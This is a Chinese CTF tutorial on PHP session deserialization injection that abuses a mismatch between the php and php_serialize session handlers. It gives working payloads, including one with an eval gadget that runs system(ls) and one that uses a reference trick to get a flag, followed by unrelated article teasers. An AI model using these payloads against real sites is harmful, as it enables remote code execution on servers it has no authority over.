Session 反序列化漏洞

news2024/9/20 5:57:41

将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中有三种存取格式:

(1)默认使用php:键名|键值(经过序列化函数处理的值)

name|s:6:"1FonlY";

(2)php_serialize:经过序列化函数处理的数组

a:1:{s:4:"name";s:6:"1FonlY";}

(3)php_binary:键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值

names:6:"1FonlY";

当序列化存储Session数据与反序列化读取Session数据的方式不同时,就可以利用引擎之间的差异产生序列化注入漏洞,session的反序列化漏洞就是利用php处理器和php_serialize处理器的存储格式差异。

比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;},
如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;},在使用php_serialize 引擎的时候,
序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";},
这时,将a:1:{s:4:"name";s:31:" 当做键名,O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击。

方法:在上传session处的页面传入序列化的内容,在序列化内容前加 |

eg:

在save.php处存在以php_serialize的形式传入session,而在vul.php处使用php形式,存在引擎差异,因此在save.php处提交加上 | 的序列化后的内容便可导致session的反序列化漏洞。

<?php
class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
$d=new D(); //实例化类D
$d->a='system(ls);'; //调用参数a执行系统函数
$t=serialize($d); //定义一个新参数来接收序列化后的内容
echo $t; //输出

在序列化内容前加上|

得到 |O:1:"D":1:{s:1:"a";s:11:"system(ls);";}

进行传入:

 刷新vul.php页面,发现ls命令执行成功

 再看一个例子:

要求name恒等于her,就会输出flag 

再看一下hint.php

 这里也是以php_serialize引擎传入session,但是在反序列化输出时是以php形式

编写php脚本:

<?php
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->her=md5(rand(1, 10000));
        if ($this->name===$this->her){
            include('flag.php');
            echo $flag;
        }
    }
}

$f = new Flag(); //实例化类F1ag
$f->name = &$f->her; //使用&引用让两个参数恒等(相当于给name起了一个别名叫her)
echo serialize($f); //序列化并输出

同理,在序列化结果前加上 |(管道符)

 即 |O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

传入:

刷新index.php页面

拿到flag 

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

总的来说就是,我们先判断它是否存在这样一个漏洞,一般看到有

ini_set('session.serialize_handler', 'php_serialize');

session_start();

$_SESSION['a'] = $_GET['a'];

这些比较具有特征性的PHP代码我们就该想到这个方向 

存在session反序列化漏洞的话,我们先进行序列化,然后在结果前添加 | (管道符)

在传参页面进行上传,再去刷新读取页面即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/714826.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Multi-level Wavelet-CNN for Image Restoration论文总结

论文&#xff1a;Multi-level Wavelet-CNN for Image Restoration 源码&#xff1a;GitHub - lpj0/MWCNN: Multi-level Wavelet-CNN for Image Restoration 目录 一、背景和出发点 二、创新点 三、MWCNN具体实现 四、DWT与池化运算和膨胀卷积相关性证明 五、DWT、IWT代码实…

阿里云服务器白嫖教程

阿里云服务器白嫖教程 第一步:打开百度第二步:进入阿里云官方,注册登录账号第三步:点击免费试用第四步:点击立即试用第五步:选择操作系统第五步:选择到期释放设置![在这里插入图片描述](https://img-blog.csdnimg.cn/d02f4582dd5943319441df9ccbae60f0.png)第六步:同意协议,并立…

3D深度视觉与myCobot 320机械臂无序抓取

今天我记录使用myCobot320 M5跟FS820-E1深度相机进行一个无序抓取物体的分享。 为什么会选择深度相机和机械臂做一个案例呢&#xff1f; 2D相机&#xff08;最常见使用的相机&#xff09;可以捕捉二维图像&#xff0c;也就是在水平和垂直方向上的像素值。它们通常用于拍摄静态…

F#奇妙游(5):计算π的值

F#到底有什么用&#xff1f; 奇妙游写到第五篇&#xff0c;前面的几篇都是开场白&#xff1a; 一个用F#编写WinForm的例子donet命令行工具&#xff0c;也就是F#的开发环境关于函数和函数式编程的碎碎念函数式编程的核心概念&#xff1a;值 下面&#xff0c;我们开始正式来搞…

数据库左、右、内、逗号、全连接(mysql不包含全连接)方式

1、准备数据 学生有归属班级 学生表 班级表 2、执行查询语句 2.1执行左关联 select * from student stu left join class cla on (stu.class_idcla.class_id); 结果如下 2.2执行右关联 2.3、执行内连接 2.4执行逗号分隔表的连接方式 和内连接的查询结果是一样的

实训笔记7.3

实训笔记7.3 7.3一、座右铭二、单例模式三、IDEA集成开发环境的安装和基本使用四、Debug断点调试4.1 作用有两个4.2 用法&#xff1a;4.3 IDEA设置step into进入JDK源码4.4 step over4.5 step into 五、Java中的网络编程5.1 网络编程的三个核心要素5.2 通过Java实现网络编程 7.…

第三章 搜索与图论(二)——最短路问题

文章目录 单源最短路朴素Dijkstra堆优化版DijkstraBellman Ford算法SPFASPFA求负环 多源汇最短路Floyd 最短路练习题849. Dijkstra求最短路 I850. Dijkstra求最短路 II853. 有边数限制的最短路851. spfa求最短路852. spfa判断负环854. Floyd求最短路 源点表示起点&#xff0c;汇…

Linux系统远程挂载Mac OS系统目录方法

打开mac文件共享功能 开启共享服务 进入系统偏好设置中的共享选项。勾中文件共享&#xff08;如下图&#xff09;&#xff0c;之后右边的文件共享的绿灯会点亮&#xff0c;并显示“文件共享&#xff1a;打开”。 添加共享目录 点击在文件共享界面&#xff08;如下图&#x…

【狂神】MySQL - 数据库级别的外键

1. 外键 FOREIGN KEY (了解) 测试数据 &#xff1a; 学生表 CREATE TABLE IF NOT EXISTS student (id INT(4) NOT NULL AUTO_INCREMENT COMMENT 学号,name VARCHAR(30) NOT NULL DEFAULT 匿名 COMMENT 姓名,pwd VARCHAR(20) NOT NULL DEFAULT 123456 COMMENT 密码,sex VARC…

【数据结构与算法】 完成用十字链表存储的稀疏矩阵的加法运算

题目&#xff1a; Qestion: 完成用十字链表存储的稀疏矩阵的加法运算。 主要思路&#xff1a; 获取两个稀疏矩阵总有多少个非零元素&#xff0c;记作cnt。当cnt 不为零时一直循环&#xff0c;每循环一次i&#xff0c;也就是行循环&#xff0c;每循环一次就转移至下一行。先从…

Git常用指令总结

1、git init&#xff1a;初始化一个Git仓库&#xff1b; 2、git clone&#xff1a;从远程仓库克隆代码到本地&#xff1b; 直接使用网址 git clone <url>or 用a代替网址 git remote add a <url>git clone a3、git add&#xff1a;添加文件到暂存区&#xff1b; 文件…

K8S数据管理

K8S数据管理 1 数据管理1.1 数据持久化1.1.1 存储方案1.1.2 EmptyDir实践1.1.3 hostPath实践1.1.4 NFS实践 1.2 持久化进阶1.2.1 数据对象1.2.2 PV&PVC实践1.2.3 SC解析1.2.4 SC实践 1.3 配置管理1.3.1 配置基础1.3.2 CM1.3.3 CM案例1.3.4 Secret1.3.5 Secret案例 1.4 状态…

36. QT中使用QFtp实现文件传输1 -- 本地文件或文件夹上传到远程服务器

1. 说明 在使用QT进行嵌入式开发或者是使用到TCP控制传输时,有时程序的正常运行会用到某一个文件或者整个文件夹,此时就需要软件方面将需要的文件或者文件夹传输到远程服务器上。在QT中主要有两种方式可以实现这个功能,一个是QT4中使用QFtp这个类来实现,这个类提供了很丰富…

每天一点Python——day48

#第四十八天 #什么是元组为什么元组没有增删改操作和生成式&#xff1f; 元组&#xff1a;Python内置的数据结构之一&#xff0c;是一个不可变序列 不可变序列&#xff1a;没有增删改操作【例如字符串&#xff0c;元组】 可变序列&#xff1a;可以执行增删改操作&#xff0c;操…

记录好项目D21

记录好项目 你好呀&#xff0c;这里是我专门记录一下从某些地方收集起来的项目&#xff0c;对项目修改&#xff0c;进行添砖加瓦&#xff0c;变成自己的闪亮项目。修修补补也可以成为毕设哦 本次的项目是个基于Springbootvue的景区旅游系统 一、系统介绍 本项目分为管理员与…

534 · 打劫房屋 II

链接&#xff1a;LintCode 炼码 - ChatGPT&#xff01;更高效的学习体验&#xff01; 题解&#xff1a;九章算法 - 帮助更多程序员找到好工作&#xff0c;硅谷顶尖IT企业工程师实时在线授课为你传授面试技巧 处理循环数组问题&#xff1a;分类&#xff0c;重复&#xff0c;取反…

信息安全概述笔记

保密性、完整性、可用性是传统的信息安全的原则和目标&#xff0c;目前随着信息安全问题的日益严峻&#xff0c;信息安全的原则和目标衍生为诸如可控性、不可否认性等其他的原则和目标。 保密性&#xff08;Confidentiality&#xff09;:确保信息只能由那些被授权使用的人获取…

Web服务器群集:四层代理与七层代理

目录 一、理论 1.OSI七层模型 2.四层代理 3.七层代理 4.四层代理与七层代理区别 5.负载均衡器 6.常见的代理组件 7.应用场景 二、总结 一、理论 1.OSI七层模型 &#xff08;1&#xff09;概念 标准的七层网络分层是OSI七层模型&#xff0c;TCP/IP五层模型和TCP/IP四…

Android Matrix的理解

文章目录 前言一.基础1.1 Matrix1.2 使用Matrix的准备知识 二.preXXX和postXXX2.1 右乘和左乘2.2 验证规律 三.坐标原点结束 前言 Android绘制中最重要的要算Matrix类了&#xff0c;同时也是不太好理解的。以前也用过&#xff0c;但是掌握的也不是太好&#xff0c;刚好有时间好…

GO语言包相关总结 -引用(本地和远程),自定义,安装,使用

本篇文章总结以下go语言包相关的知识。 目录 一.导入包 &#xff08;1&#xff09;常规导入 &#xff08;2&#xff09;别名导入 &#xff08;3&#xff09;特殊导入 二.自定义包 三.安装自定义包 四.调用自定义包调用 五.获取远程包 六.go中的保留函数 七.实战 - G…